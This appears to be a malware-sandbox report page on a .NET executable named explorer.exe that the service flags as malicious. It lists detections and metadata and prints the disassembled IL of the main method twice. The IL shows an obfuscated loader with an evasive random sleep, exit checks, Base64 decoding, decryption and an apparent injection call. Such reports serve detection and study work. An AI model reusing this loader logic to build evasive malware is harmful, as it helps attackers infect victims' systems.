Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableHQR data fileMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
1 malicious · 5 files
EXE68cd213fb811ed68bd62ca8f4245893d
Structure
Name Value
Module Name
explorer.exe
Full Name
explorer.exe
EntryPoint
System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::rmk4pHclc()
Scope Name
explorer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
explorer
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
21
Main Method
System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::rmk4pHclc()
Main IL Instruction Count
87
Main IL 
br IL_0007: ldc.i4 11
pop <null>
ldc.i4.0 <null>
ldc.i4 11
stloc V_2
br IL_003C: ldloc V_2
newobj System.Void System.Random::.ctor()
ldc.i4 4000
ldc.i4 8000
callvirt System.Int32 System.Random::Next(System.Int32,System.Int32)
call System.Void System.Threading.Thread::Sleep(System.Int32)
br IL_00A7: call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::i9uRu12TY()
ldc.i4 11
stloc V_2
ldloc V_2
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 7
br IL_0038: stloc V_2
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::SLwewZMjK()
brfalse IL_01A8: ret
ldc.i4.0 <null>
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::b2qqbPc1PN5bDVd03K()
brfalse IL_00D9: pop
pop <null>
ldc.i4 3
stloc V_2
br IL_003C: ldloc V_2
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::i9uRu12TY()
brtrue IL_00CF: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::nwZHrQwax()
ldc.i4 4
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::jw48aw2Ig()
ldc.i4 2
br IL_0038: stloc V_2
br IL_0103: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::abiJ80AjZ()
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::nwZHrQwax()
br IL_0103: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::abiJ80AjZ()
pop <null>
ldc.i4 10
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::fOVITdnYy()
ldc.i4 8
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4 0
br IL_0038: stloc V_2
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::abiJ80AjZ()
ldc.i4 12
stloc V_2
ldc.i4.1 <null>
brtrue IL_003C: ldloc V_2
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::qaV0lachn()
ldc.i4 1
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::ad3Mw0rWf()
brfalse IL_00E4: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::fOVITdnYy()
ldc.i4 6
stloc V_2
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::mKtjdrMI10c3jLrR9c()
brtrue IL_0083: call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::SLwewZMjK()
br IL_003C: ldloc V_2
ldc.i4 32
call System.String pHv30WcMLWfG3Tx1s5.NAir7nmx9nIkG417le::Ux8WHUQQDG(System.Int32)
call System.Byte[] System.Convert::FromBase64String(System.String)
ldsfld System.Object JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::dXDQECBHG
ldsfld System.Object JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::JC2FE0u40
call System.Byte[] JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::gtsPqiYps(System.Object,System.Object,System.Object)
ldc.i4 36
call System.String pHv30WcMLWfG3Tx1s5.NAir7nmx9nIkG417le::Ux8WHUQQDG(System.Int32)
call System.Byte[] JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::hf1TXXg4w(System.Object,System.Object)
call System.Byte[] JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::rEWbiaLZo(System.Object)
stloc.0 <null>
ldc.i4 40
call System.String pHv30WcMLWfG3Tx1s5.NAir7nmx9nIkG417le::Ux8WHUQQDG(System.Int32)
ldstr 
ldloc.0 <null>
ldc.i4.1 <null>
call System.Boolean explorer.yarak.klass::Run(System.String,System.String,System.Byte[],System.Boolean)
pop <null>
leave IL_01A8: ret
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_01A8: ret
ret <null>
Module Name
explorer.exe
Full Name
explorer.exe
EntryPoint
System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::rmk4pHclc()
Scope Name
explorer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
explorer
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
21
Main Method
System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::rmk4pHclc()
Main IL Instruction Count
87
Main IL 
br IL_0007: ldc.i4 11
pop <null>
ldc.i4.0 <null>
ldc.i4 11
stloc V_2
br IL_003C: ldloc V_2
newobj System.Void System.Random::.ctor()
ldc.i4 4000
ldc.i4 8000
callvirt System.Int32 System.Random::Next(System.Int32,System.Int32)
call System.Void System.Threading.Thread::Sleep(System.Int32)
br IL_00A7: call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::i9uRu12TY()
ldc.i4 11
stloc V_2
ldloc V_2
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 7
br IL_0038: stloc V_2
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::SLwewZMjK()
brfalse IL_01A8: ret
ldc.i4.0 <null>
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::b2qqbPc1PN5bDVd03K()
brfalse IL_00D9: pop
pop <null>
ldc.i4 3
stloc V_2
br IL_003C: ldloc V_2
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::i9uRu12TY()
brtrue IL_00CF: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::nwZHrQwax()
ldc.i4 4
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::jw48aw2Ig()
ldc.i4 2
br IL_0038: stloc V_2
br IL_0103: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::abiJ80AjZ()
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::nwZHrQwax()
br IL_0103: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::abiJ80AjZ()
pop <null>
ldc.i4 10
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::fOVITdnYy()
ldc.i4 8
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4 0
br IL_0038: stloc V_2
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::abiJ80AjZ()
ldc.i4 12
stloc V_2
ldc.i4.1 <null>
brtrue IL_003C: ldloc V_2
call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::qaV0lachn()
ldc.i4 1
br IL_0040: switch(IL_00E4,IL_0083,IL_00CA,IL_0015,IL_00BB,IL_0015,IL_00F3,IL_00A7,IL_0117,IL_00D4,IL_0103,IL_0126,IL_0148)
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::ad3Mw0rWf()
brfalse IL_00E4: call System.Void JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::fOVITdnYy()
ldc.i4 6
stloc V_2
call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::mKtjdrMI10c3jLrR9c()
brtrue IL_0083: call System.Boolean JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::SLwewZMjK()
br IL_003C: ldloc V_2
ldc.i4 32
call System.String pHv30WcMLWfG3Tx1s5.NAir7nmx9nIkG417le::Ux8WHUQQDG(System.Int32)
call System.Byte[] System.Convert::FromBase64String(System.String)
ldsfld System.Object JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::dXDQECBHG
ldsfld System.Object JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::JC2FE0u40
call System.Byte[] JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::gtsPqiYps(System.Object,System.Object,System.Object)
ldc.i4 36
call System.String pHv30WcMLWfG3Tx1s5.NAir7nmx9nIkG417le::Ux8WHUQQDG(System.Int32)
call System.Byte[] JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::hf1TXXg4w(System.Object,System.Object)
call System.Byte[] JLjKtBuE9D71vGHuAC.YjfIjRN0XrpmxE0nsC::rEWbiaLZo(System.Object)
stloc.0 <null>
ldc.i4 40
call System.String pHv30WcMLWfG3Tx1s5.NAir7nmx9nIkG417le::Ux8WHUQQDG(System.Int32)
ldstr 
ldloc.0 <null>
ldc.i4.1 <null>
call System.Boolean explorer.yarak.klass::Run(System.String,System.String,System.Byte[],System.Boolean)
pop <null>
leave IL_01A8: ret
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_01A8: ret
ret <null>
Embedded Resources UNKNWOWNsuspect
5huhuhuhu
Suspicious Type Names (1-2 chars) UNKNWOWN
0huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙